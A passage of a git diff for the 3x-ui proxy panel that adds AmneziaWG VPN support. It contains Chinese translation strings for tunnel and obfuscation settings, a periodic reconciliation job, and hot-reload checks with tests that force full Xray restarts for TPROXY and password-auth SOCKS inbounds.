+ "amneziaWgAllowedIPs": "AmneziaWG 允许的 IP",
+ "amneziaWgAllowedIPsHint": "留空则自动分配;多个条目用逗号分隔",
+ "amneziaWgForwardedPorts": "转发端口",
+ "amneziaWgForwardedPortsHint": "转发到此客户端的端口/范围,例如 80, 443, 8000-8100。留空则不转发。",
+ "amneziaWgConfig": "AmneziaWG 配置",
"mtprotoSecret": "MTProto 密钥",
"mtprotoSecretHint": "该客户端的 FakeTLS 密钥。重新生成即可更换。",
"mtprotoAdTag": "广告标签(赞助频道)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "密钥",
"publicKey": "公钥",
+ "subnetIp": "子网",
+ "subnetCidr": "子网 CIDR",
"allowedIPs": "允许的 IP",
"endpoint": "端点",
"domainStrategy": "域策略"
},
+ "amneziawg": {
+ "privateKey": "私钥",
+ "publicKey": "公钥",
+ "subnetIp": "子网",
+ "subnetCidr": "子网 CIDR",
+ "mtu": "MTU",
+ "primaryDns": "主 DNS",
+ "secondaryDns": "备用 DNS",
+ "externalInterface": "外部网卡",
+ "externalInterfaceHint": "用于 NAT(PostUp/PostDown)的主机网卡。留空则自动检测。",
+ "ipv6Enabled": "启用 IPv6",
+ "ipv6Subnet": "IPv6 子网",
+ "ipv6SubnetHint": "例如 fd86:ea04:1115::/64。启用 IPv6 时必填。",
+ "ipv6ExternalInterface": "IPv6 外部网卡",
+ "ipv6ExternalInterfaceHint": "用于 NDP 代理条目的主机网卡。留空则使用外部网卡。",
+ "obfuscation": "混淆参数",
+ "regenerateObfuscation": "重新生成",
+ "jc": "Jc(垃圾包数量)",
+ "jmin": "Jmin(垃圾包最小大小)",
+ "jmax": "Jmax(垃圾包最大大小)",
+ "s1": "S1(init 包填充大小)",
+ "s2": "S2(response 包填充大小)",
+ "s3": "S3(cookie reply 填充)",
+ "s4": "S4(传输包填充)",
+ "h1": "H1(魔术头)",
+ "h2": "H2(魔术头)",
+ "h3": "H3(魔术头)",
+ "h4": "H4(魔术头)",
+ "hHint": "单个整数或范围。留空则使用经典默认值 1/2/3/4。",
+ "i1": "I1(签名包)",
+ "i1Hint": "可选的签名包。留空则不发送。",
+ "i2": "I2(签名包)",
+ "i3": "I3(签名包)",
+ "i4": "I4(签名包)",
+ "i5": "I5(签名包)",
+ "headerProtectionKey": "HeaderProtectionKey(头部保护)",
+ "headerProtectionKeyHint": "Base64 编码的 32 字节密钥;必须与每个客户端配置一致。留空则禁用头部保护。",
+ "contentPaddingAddition": "ContentPaddingAddition(内容填充)",
+ "contentPaddingAdditionHint": "单个整数或 low-high 字节范围,附加到内容数据包。留空则禁用。",
+ "rekeyAfterTime": "RekeyAfterTime(秒)",
+ "rekeyTimeout": "RekeyTimeout(秒)",
+ "rejectAfterTime": "RejectAfterTime(秒)",
+ "keepaliveTimeout": "KeepaliveTimeout(秒)",
+ "maxHandshakeAttempts": "MaxHandshakeAttempts",
+ "timingRangeHint": "单个整数或范围。留空则使用 WireGuard 默认值。",
+ "maxHandshakeAttemptsHint": "放弃前的握手重试次数。留空则使用默认值。",
+ "randomTrailers": "RandomTrailers",
+ "randomTrailersHint": "在每个数据包末尾追加随机字节。两端都需要 AmneziaWG 3.1+。",
+ "disableCookies": "DisableCookies",
+ "disableCookiesHint": "从不发送 cookie reply——消除一个 DPI 指纹,但会削弱抗洪泛能力。"
+ },
"tun": {
"userLevel": "用户级别"
},
diff --git a/internal/web/translation/zh-TW.json b/internal/web/translation/zh-TW.json
index 16925e656..74b18fe22 100644
--- a/internal/web/translation/zh-TW.json
+++ b/internal/web/translation/zh-TW.json
@@ -232,6 +232,15 @@
"logs": "記錄",
"accessLogs": "存取記錄",
"autoUpdate": "自動更新",
+ "amneziawgLogs": "AmneziaWG 日誌",
+ "amneziawgHandshake": "最後握手",
+ "amneziawgInterface": "網路介面",
+ "amneziawgInbound": "入站",
+ "amneziawgEndpoint": "端點",
+ "amneziawgIdle": "閒置",
+ "amneziawgEvents": "事件",
+ "amneziawgNoPeers": "目前沒有活躍的 AmneziaWG 對端",
+ "amneziawgNoEvents": "尚未記錄 AmneziaWG 事件",
"config": "配置",
"backupTitle": "備份和恢復",
"exportDatabase": "備份",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "WireGuard 預共用金鑰",
"wireguardAllowedIPs": "WireGuard 允許的 IP",
"wireguardAllowedIPsHint": "留空則自動分配;多個條目用逗號分隔",
+ "amneziaWgPrivateKey": "AmneziaWG 私鑰",
+ "amneziaWgPublicKey": "AmneziaWG 公鑰",
+ "amneziaWgPreSharedKey": "AmneziaWG 預共用金鑰",
+ "amneziaWgAllowedIPs": "AmneziaWG 允許的 IP",
+ "amneziaWgAllowedIPsHint": "留空則自動分配;多個條目用逗號分隔",
+ "amneziaWgForwardedPorts": "轉發連接埠",
+ "amneziaWgForwardedPortsHint": "轉發到此客戶端的連接埠/範圍,例如 80, 443, 8000-8100。留空則不轉發。",
+ "amneziaWgConfig": "AmneziaWG 設定",
"mtprotoSecret": "MTProto 金鑰",
"mtprotoSecretHint": "該用戶端的 FakeTLS 金鑰。重新產生即可更換。",
"mtprotoAdTag": "廣告標籤(贊助頻道)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "金鑰",
"publicKey": "公鑰",
+ "subnetIp": "子網路",
+ "subnetCidr": "子網路 CIDR",
"allowedIPs": "允許的 IP",
"endpoint": "端點",
"domainStrategy": "域策略"
},
+ "amneziawg": {
+ "privateKey": "私鑰",
+ "publicKey": "公鑰",
+ "subnetIp": "子網路",
+ "subnetCidr": "子網路 CIDR",
+ "mtu": "MTU",
+ "primaryDns": "主要 DNS",
+ "secondaryDns": "次要 DNS",
+ "externalInterface": "外部網路介面",
+ "externalInterfaceHint": "用於 NAT(PostUp/PostDown)的主機網路介面。留空則自動偵測。",
+ "ipv6Enabled": "啟用 IPv6",
+ "ipv6Subnet": "IPv6 子網路",
+ "ipv6SubnetHint": "例如 fd86:ea04:1115::/64。啟用 IPv6 時必填。",
+ "ipv6ExternalInterface": "IPv6 外部網路介面",
+ "ipv6ExternalInterfaceHint": "用於 NDP 代理項目的主機網路介面。留空則使用外部網路介面。",
+ "obfuscation": "混淆參數",
+ "regenerateObfuscation": "重新產生",
+ "jc": "Jc(垃圾封包數量)",
+ "jmin": "Jmin(垃圾封包最小大小)",
+ "jmax": "Jmax(垃圾封包最大大小)",
+ "s1": "S1(init 封包填充大小)",
+ "s2": "S2(response 封包填充大小)",
+ "s3": "S3(cookie reply 填充)",
+ "s4": "S4(傳輸封包填充)",
+ "h1": "H1(魔術標頭)",
+ "h2": "H2(魔術標頭)",
+ "h3": "H3(魔術標頭)",
+ "h4": "H4(魔術標頭)",
+ "hHint": "單一整數或範圍。留空則使用經典預設值 1/2/3/4。",
+ "i1": "I1(簽章封包)",
+ "i1Hint": "可選的簽章封包。留空則不傳送。",
+ "i2": "I2(簽章封包)",
+ "i3": "I3(簽章封包)",
+ "i4": "I4(簽章封包)",
+ "i5": "I5(簽章封包)",
+ "headerProtectionKey": "HeaderProtectionKey(標頭保護)",
+ "headerProtectionKeyHint": "Base64 編碼的 32 位元組金鑰;必須與每個用戶端設定一致。留空則停用標頭保護。",
+ "contentPaddingAddition": "ContentPaddingAddition(內容填充)",
+ "contentPaddingAdditionHint": "單一整數或 low-high 位元組範圍,附加到內容封包。留空則停用。",
+ "rekeyAfterTime": "RekeyAfterTime(秒)",
+ "rekeyTimeout": "RekeyTimeout(秒)",
+ "rejectAfterTime": "RejectAfterTime(秒)",
+ "keepaliveTimeout": "KeepaliveTimeout(秒)",
+ "maxHandshakeAttempts": "MaxHandshakeAttempts",
+ "timingRangeHint": "單一整數或範圍。留空則使用 WireGuard 預設值。",
+ "maxHandshakeAttemptsHint": "放棄前的交握重試次數。留空則使用預設值。",
+ "randomTrailers": "RandomTrailers",
+ "randomTrailersHint": "在每個封包結尾附加隨機位元組。兩端都需要 AmneziaWG 3.1+。",
+ "disableCookies": "DisableCookies",
+ "disableCookiesHint": "永不傳送 cookie reply——消除一個 DPI 指紋,但會削弱抗洪泛能力。"
+ },
"tun": {
"userLevel": "用戶級別"
},
diff --git a/internal/web/web.go b/internal/web/web.go
index 1a6898f6d..9d6e96cee 100644
--- a/internal/web/web.go
+++ b/internal/web/web.go
@@ -16,6 +16,7 @@ import (
"strings"
"time"
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
"github.com/mhsanaei/3x-ui/v3/internal/config"
"github.com/mhsanaei/3x-ui/v3/internal/eventbus"
"github.com/mhsanaei/3x-ui/v3/internal/logger"
@@ -291,6 +292,7 @@ const (
cadenceXrayRestart = "@every 30s"
cadenceXrayTraffic = "@every 5s"
cadenceMtproto = "@every 10s"
+ cadenceAmneziaWG = "@every 10s"
cadenceClientIPScan = "@every 10s"
cadenceNodeHeartbeat = "@every 5s"
cadenceNodeTraffic = "@every 5s"
@@ -332,6 +334,11 @@ func (s *Server) startTask(restartXray bool, loc *time.Location) {
_, _ = s.cron.AddJob(cadenceMtproto, mtJob)
go mtJob.Run()
+ // Reconcile embedded AmneziaWG interfaces; traffic rides Xray's own stats
+ awgJob := job.NewAmneziaWGJob()
+ _, _ = s.cron.AddJob(cadenceAmneziaWG, awgJob)
+ go awgJob.Run()
+
// check client ips from log file every 10 sec
_, _ = s.cron.AddJob(cadenceClientIPScan, job.NewCheckClientIpJob())
@@ -691,6 +698,7 @@ func (s *Server) stop(stopXray bool, stopTgBot bool) error {
if stopXray {
_ = s.xrayService.StopXray()
mtproto.GetManager().StopAll()
+ amneziawgnet.GetManager().StopAll()
}
if s.cron != nil {
s.cron.Stop()
diff --git a/internal/xray/hot_diff.go b/internal/xray/hot_diff.go
index d43898aee..817e277c8 100644
--- a/internal/xray/hot_diff.go
+++ b/internal/xray/hot_diff.go
@@ -132,6 +132,14 @@ func diffInbounds(oldCfg, newCfg *Config, diff *HotDiff) bool {
logger.Debug("hot diff: inbound [", oldIb.Tag, "] REALITY configuration changed; a gRPC remove+add does not reliably rebuild the REALITY authenticator, forcing a full restart")
return false
}
+ if exists && (inboundUsesTproxy(oldIb) || inboundUsesTproxy(newIb)) {
+ logger.Debug("hot diff: inbound [", oldIb.Tag, "] is a TPROXY target; a gRPC add reports success but does not reliably bind a working listener, forcing a full restart instead of a hot swap")
+ return false
+ }
+ if exists && (inboundUsesSocksAccounts(oldIb) || inboundUsesSocksAccounts(newIb)) {
+ logger.Debug("hot diff: inbound [", oldIb.Tag, "] is a password-auth SOCKS5 inbound (e.g. internal/amneziawgnet's per-peer relay); a gRPC remove+add reports success but was observed in production to silently drop an account, forcing a full restart instead of a hot swap")
+ return false
+ }
diff.RemovedInboundTags = append(diff.RemovedInboundTags, oldIb.Tag)
if exists {
raw, err := json.Marshal(newIb)
@@ -149,6 +157,14 @@ func diffInbounds(oldCfg, newCfg *Config, diff *HotDiff) bool {
if newIb.Tag == apiTag || newIb.Tag == "api" {
return false
}
+ if inboundUsesTproxy(newIb) {
+ logger.Debug("hot diff: new inbound [", newIb.Tag, "] is a TPROXY target (e.g. internal/amneziawg's Xray egress bridge); a gRPC add reports success but does not reliably bind a working listener, forcing a full restart instead of a hot add")
+ return false
+ }
+ if inboundUsesSocksAccounts(newIb) {
+ logger.Debug("hot diff: new inbound [", newIb.Tag, "] is a password-auth SOCKS5 inbound (e.g. internal/amneziawgnet's per-peer relay); forcing a full restart instead of a hot add, same reasoning as the existing-inbound case above")
+ return false
+ }
raw, err := json.Marshal(newIb)
if err != nil {
return false
@@ -264,6 +280,58 @@ func inboundUsesReality(ib *InboundConfig) bool {
return stream.Security == "reality"
}
+// inboundUsesTproxy: a sockopt.tproxy inbound (the tunnel protocol's TProxy
+// mode) hot-adds over gRPC "successfully" but binds no listener — restart.
+func inboundUsesTproxy(ib *InboundConfig) bool {
+ if ib == nil || len(ib.StreamSettings) == 0 {
+ return false
+ }
+ var stream struct {
+ Sockopt struct {
+ Tproxy string `json:"tproxy"`
+ } `json:"sockopt"`
+ }
+ if err := json.Unmarshal(ib.StreamSettings, &stream); err != nil {
+ return false
+ }
+ return stream.Sockopt.Tproxy != "" && stream.Sockopt.Tproxy != "off"
+}
+
+// inboundUsesSocksAccounts reports whether an inbound is a password-auth
+// SOCKS5 inbound with one or more named accounts -- the shape
+// internal/amneziawgnet's per-inbound relay (internal/web/service/xray.go's
+// injectAmneziawgnetSocks) is the only generator of in this fork; every
+// other SOCKS5 bridge this fork builds (panel egress, per-node egress,
+// mtproto egress) uses "noauth" with no per-account identity at all, so this
+// check can't accidentally rope in one of those lower-churn bridges.
+//
+// Real production incident, not a theoretical concern: a single client
+// edit under an AmneziaWG inbound left this inbound's settings unchanged in
+// every way relevant to accounts.user was already correct in the freshly
+// regenerated config, yet the account for a peer whose email contained
+// non-ASCII characters silently vanished from the running Xray process
+// after a gRPC remove+add hot swap -- while a full process restart (reading
+// the same JSON straight from disk) always produced the correct account
+// list. socks isn't in userDiffableProtocols (that only covers vless/vmess/
+// trojan, which use a wholly different clients+email shape, not
+// accounts+user), so without this check any settings drift on this inbound
+// -- even one unrelated to the account list itself -- falls through to the
+// generic remove+add path and can reproduce the same silent drop. Forcing a
+// full restart here is the same defensive choice already made above for
+// REALITY and TPROXY.
+func inboundUsesSocksAccounts(ib *InboundConfig) bool {
+ if ib == nil || ib.Protocol != "socks" || len(ib.Settings) == 0 {
+ return false
+ }
+ var settings struct {
+ Auth string `json:"auth"`
+ }
+ if err := json.Unmarshal(ib.Settings, &settings); err != nil {
+ return false
+ }
+ return settings.Auth == "password"
+}
+
func inboundHasReverseClient(ib *InboundConfig) bool {
if ib == nil {
return false
diff --git a/internal/xray/hot_diff_test.go b/internal/xray/hot_diff_test.go
index 2d464492b..15eb1f81b 100644
--- a/internal/xray/hot_diff_test.go
+++ b/internal/xray/hot_diff_test.go
@@ -385,3 +385,129 @@ func TestComputeHotDiff_RealityClientOnlyChangeStaysHot(t *testing.T) {
t.Fatalf("expected user b added via AlterInbound, got %+v", diff.AddedUsers)
}
}
+
+// TestComputeHotDiff_NewTproxyInboundNeedsRestart reproduces a real incident:
+// enabling RouteThroughXray on an AmneziaWG inbound while Xray is already
+// running adds a brand-new dokodemo-door bridge with sockopt.tproxy set.
+// Xray-core's gRPC AddInbound reports success for this but never actually
+// binds a working listener, so TPROXY-redirected peer traffic silently goes
+// nowhere until the next full restart -- confirmed directly on a real box
+// (iptables TPROXY counters incrementing, but `ss` showing nothing listening
+// on the bridge port; the listener only appeared after `systemctl restart
+// x-ui`). This must force a restart instead of a hot add.
+func TestComputeHotDiff_NewTproxyInboundNeedsRestart(t *testing.T) {
+ oldCfg := makeHotConfig()
+ newCfg := makeHotConfig()
+ newCfg.InboundConfigs = append(newCfg.InboundConfigs, InboundConfig{
+ Listen: json_util.RawMessage(`"127.0.0.1"`),
+ Port: 63110,
+ Protocol: "dokodemo-door",
+ Tag: "in-443-udp",
+ Settings: json_util.RawMessage(`{"allowedNetwork":"tcp,udp","followRedirect":true}`),
+ StreamSettings: json_util.RawMessage(`{"sockopt":{"tproxy":"tproxy"}}`),
+ })
+
+ if _, ok := ComputeHotDiff(oldCfg, newCfg); ok {
+ t.Fatal("adding a new TPROXY-sockopt inbound must force a full restart, not a gRPC hot add")
+ }
+}
+
+// TestComputeHotDiff_TproxyStreamChangeNeedsRestart mirrors the REALITY
+// stream-change test above: an existing TPROXY bridge whose port changed
+// (e.g. the AmneziaWG inbound's own id-derived egress port shifted) must not
+// be hot-swapped either, for the same reliability reason.
+func TestComputeHotDiff_TproxyStreamChangeNeedsRestart(t *testing.T) {
+ tproxyIb := InboundConfig{
+ Listen: json_util.RawMessage(`"127.0.0.1"`),
+ Port: 63110,
+ Protocol: "dokodemo-door",
+ Tag: "in-443-udp",
+ Settings: json_util.RawMessage(`{"allowedNetwork":"tcp,udp","followRedirect":true}`),
+ StreamSettings: json_util.RawMessage(`{"sockopt":{"tproxy":"tproxy"}}`),
+ }
+ oldCfg := makeHotConfig()
+ oldCfg.InboundConfigs = append(oldCfg.InboundConfigs, tproxyIb)
+ newCfg := makeHotConfig()
+ changedIb := tproxyIb
+ changedIb.Port = 63111
+ newCfg.InboundConfigs = append(newCfg.InboundConfigs, changedIb)
+
+ if _, ok := ComputeHotDiff(oldCfg, newCfg); ok {
+ t.Fatal("a TPROXY bridge's port change must force a full restart, not a gRPC hot swap")
+ }
+}
+
+// TestComputeHotDiff_SocksAccountsSettingsChangeNeedsRestart reproduces a
+// real incident: editing one client under an AmneziaWG inbound left its
+// relay's settings.json byte-different (a new account list) while Xray was
+// already running. A gRPC remove+add reported success but silently dropped
+// an account with a non-ASCII email; a full restart always produced the
+// correct account list. This must force a restart, not a hot swap.
+func TestComputeHotDiff_SocksAccountsSettingsChangeNeedsRestart(t *testing.T) {
+ relayIb := InboundConfig{
+ Listen: json_util.RawMessage(`"127.0.0.1"`),
+ Port: 65110,
+ Protocol: "socks",
+ Tag: "in-443-udp",
+ Settings: json_util.RawMessage(`{"auth":"password","udp":true,"accounts":[{"user":"Роутер_awg","pass":"p"}]}`),
+ }
+ oldCfg := makeHotConfig()
+ oldCfg.InboundConfigs = append(oldCfg.InboundConfigs, relayIb)
+ newCfg := makeHotConfig()
+ changedIb := relayIb
+ changedIb.Settings = json_util.RawMessage(`{"auth":"password","udp":true,"accounts":[{"user":"Роутер_awg","pass":"p"},{"user":"Майфун🛟","pass":"p"}]}`)
+ newCfg.InboundConfigs = append(newCfg.InboundConfigs, changedIb)
+
+ if _, ok := ComputeHotDiff(oldCfg, newCfg); ok {
+ t.Fatal("a password-auth SOCKS5 relay's account-list change must force a full restart, not a gRPC hot swap")
+ }
+}
+
+// TestComputeHotDiff_NewSocksAccountsInboundNeedsRestart mirrors the TPROXY
+// new-inbound test above: a brand-new AmneziaWG relay inbound must also
+// force a restart, for the same reliability reason.
+func TestComputeHotDiff_NewSocksAccountsInboundNeedsRestart(t *testing.T) {
+ oldCfg := makeHotConfig()
+ newCfg := makeHotConfig()
+ newCfg.InboundConfigs = append(newCfg.InboundConfigs, InboundConfig{
+ Listen: json_util.RawMessage(`"127.0.0.1"`),
+ Port: 65110,
+ Protocol: "socks",
+ Tag: "in-443-udp",
+ Settings: json_util.RawMessage(`{"auth":"password","udp":true,"accounts":[{"user":"Майфун🛟","pass":"p"}]}`),
+ })
+
+ if _, ok := ComputeHotDiff(oldCfg, newCfg); ok {
+ t.Fatal("adding a new password-auth SOCKS5 relay inbound must force a full restart, not a gRPC hot add")
+ }
+}
+
+// TestComputeHotDiff_NoauthSocksBridgeStaysHot confirms the check above is
+// scoped to password-auth accounts specifically: this fork's other SOCKS5
+// bridges (panel egress, per-node egress, mtproto egress) use "noauth" with
+// no per-account identity, have no history of this failure mode, and must
+// keep using the ordinary remove+add hot path rather than pay for an
+// unnecessary restart on every port/tag change.
+func TestComputeHotDiff_NoauthSocksBridgeStaysHot(t *testing.T) {
+ bridgeIb := InboundConfig{
+ Listen: json_util.RawMessage(`"127.0.0.1"`),
+ Port: 62790,
+ Protocol: "socks",
+ Tag: "panel-egress",
+ Settings: json_util.RawMessage(`{"auth":"noauth","udp":false}`),
+ }
+ oldCfg := makeHotConfig()
+ oldCfg.InboundConfigs = append(oldCfg.InboundConfigs, bridgeIb)
+ newCfg := makeHotConfig()
+ changedIb := bridgeIb
+ changedIb.Port = 62791
+ newCfg.InboundConfigs = append(newCfg.InboundConfigs, changedIb)
+
+ diff, ok := ComputeHotDiff(oldCfg, newCfg)
+ if !ok {
+ t.Fatal("a noauth SOCKS5 bridge's port change should stay hot-appliable")
+ }
+ if len(diff.RemovedInboundTags) != 1 || len(diff.AddedInbounds) != 1 {
+ t.Fatalf("expected a plain remove+add for the changed bridge, got %+v", diff)
+ }
+}
diff --git a/tools/openapigen/main.go b/tools/openapigen/main.go
index 6c9fd3bc9..c24a3c286 100644
--- a/tools/openapigen/main.go
+++ b/tools/openapigen/main.go
@@ -95,12 +95,18 @@ func run(root, outDir string) error {
"ProbeResultUI",
"RealityScanResult",
"GeodataTokenIssue",
+ "AmneziaWGLogs",
+ "PeerActivity",
),
},
{
Path: resolveRel(root, "internal/web/service/panel"),
StructAllow: setOf("ApiTokenView", "PanelUpdateStatus"),
},
+ {
+ Path: resolveRel(root, "internal/amneziawg"),
+ StructAllow: setOf("ServerSettings"),
+ },
}
schemas, aliases, err := walkPackages(requests)